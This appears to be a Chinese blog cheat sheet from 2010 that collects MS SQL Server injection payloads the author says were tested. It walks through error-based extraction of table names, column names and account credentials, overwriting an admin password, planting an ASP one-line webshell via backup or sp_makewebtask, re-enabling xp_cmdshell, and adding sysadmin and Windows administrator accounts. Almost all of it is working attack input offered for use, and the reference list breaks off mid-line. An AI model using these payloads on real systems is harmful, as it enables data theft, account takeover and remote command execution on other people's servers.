MS SQL 注入语句总结
时间:2010-09-22 来源:noless
MS SQL注入语句总结
以下语句都已经过我亲自测试并通过。
序:基本知识之注入漏洞常见类型
(A) 数字型 ID=49。
SQL语句原貌为:Select * from 表名 where ID=49
注入的参数为:ID=49 And 查询条件,是
即是生成语句:Select * from 表名 where ID=49 And 查询条件
(B) 字符型 Class=连续剧。
SQL语句原貌为:Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and 查询条件 and ‘’=’,
即是生成语句:Select * from 表名 where 字段=‘连续剧’ and 查询条件 and ‘’=‘’
(C) 搜索型keyword=关键字。
SQL语句原貌为:Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=关键字%’ and [查询条件] and ‘%25’=’,
即是生成语句:Select * from 表名 where字段like ’%关键字%’ and 查询条件 and ‘%’=’%’
正文:MSSQL注入语句总结
0.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库名
1.判断是否有注入;and 1=1 ;and 1=2
2.初步判断是否是mssql ;and user>0
3.猜表 ;and (select Count(*) from [表名])>0
4.猜字段 ;and (select Count(字段名) from 表名)>0
5.表、列、内容方法(显错方式)
第一步、猜表名
1) 猜表名(假如得到table1)
and 1=convert(int,(select top 1 name from sysobjects where xtype=’u’ and status>0))
2) 下一个或者下N个表名
and 1=convert(int,(select top 1 name from sysobjects where xtype=’u’ and status>0 and name not in ('Table2’, 'Table3',)))
第二步、猜列名
方法一
3) 猜第一个列
Select * from table having 1=1-- (假如得到table.userid)
4) 下一个列名
Select * from table group by table.userid having 1=1--(假如得table.username)
5) 继续下N个
Select * from table group by table.userid,table.username having 1=1--
方法二
1>猜第1个列名 and (select top 1 col_name(object_id ('table'),1) from table)>0
2>猜第N列名 and (select top 1 col_name(object_id ('table'),N) from table)>0
第三步、猜列内容(用来猜帐号和口令密码内容)
方法一
6) 猜colname的第一行内容(假如得到内容为admin)
and 1=convert(int,(select top 1 colname from table))
7) 猜colname的其他行内容
and 1=convert(int,(select top 1 colname from table where colname not in (‘admin’)))
8) 猜colname的其他行内容
and 1=convert(int,(select top 1 colname from table where colname not in ('admin','goodluck')))
方法二
1>猜colname的第1行内容 and (select top 1 colname from table)>0
2>第N内容
and (select colname from(select top 1 * from(select top N * from table order by 1)T order by 1 desc)S)>0
(备注:如果colname的值为全数字,这种猜解方法就会失败)
6.段中记录长度 ;and (select top 1 len(字段名) from 表名)>0
7.字段的ascii值(mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
8.权限结构(mssql)
and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--
and 1=(select IS_SRVROLEMEMBER(’serveradmin’));--
and 1=(select IS_SRVROLEMEMBER(’setupadmin’));--
and 1=(select IS_SRVROLEMEMBER(’securityadmin’));--
and 1=(select IS_SRVROLEMEMBER(’diskadmin’));--
and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));--
and 1=(select IS_MEMBER(’db_owner’));--
9.更新表内容,可用于修改网站后台管理员口令(一般是用md5加密的)
Update films SET kind = 'Dramatic' Where id = 123
实例:update eims_User set Loginpassword='49ba59abbe56e057' where UserName='admin'
10.插入字段内容
;insert into Persons (LastName, Address) VALUES ('Wilson', 'Champs-Elysees')
11.删除内容
delete from table_name where Stockid = 3
12.写入一句话木马Webshell
(在查询分析器中,可以正常运行,但是在URL测试写入一句话(<%eval request("#")%>)时,显“'<eval request("' 之前有未闭合的引号”错误。)
1) 用backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (‘’);
backup database model to disk=’c:\l.asp’;
备注:缺点在于数据库内容过多,找开webshell时很慢。
2) 用 sp_makewebtask直接在web目录里写入一句话马:
;exec sp_makewebtask 'c:\1.asp',' select ''<%execute(request("a"))%>'' '
13.停掉或激活某个服务。(测试不成功)
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
14.判断xp_cmdshell扩展存储过程是否存在
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
15.恢复 xp_cmdshell
exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'
16.删除扩展存储过过程xp_cmdshell的语句: (在URL上测试没成功)
exec sp_dropextendedproc 'xp_cmdshell'
17.添加mssql和系统的帐户
1) 添加和删除一个SA权限的用户test:
;exec master.dbo.sp_addlogin test,ptlove
;exec master.dbo.sp_addsrvrolemember test,sysadmin
2) 更改SA的口令。
;exec sp_password NULL,'新密码','sa'
3) 添加一个系统权限帐号
;exec master.dbo.xp_cmdshell ’net user username password /add’;--
;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;--
18.搜索型注入语句
keywords%’and 1=1 and ’%’=’
1=1处是用来写注入语句的地方,貌似只能用来猜解表列等作用、无法远程执行xp_cmdshell命令。
参考文献
1. 邪恶八进制信息安全团队 .Ay暗影 《MSSQL显错模式的手工注入实现原理和实战》
2. 黑客基地 .JSW(监视我) 《SQL Injection攻击技术总汇(ASP+SQL Server版)v1.0》
3. 华夏红客基地(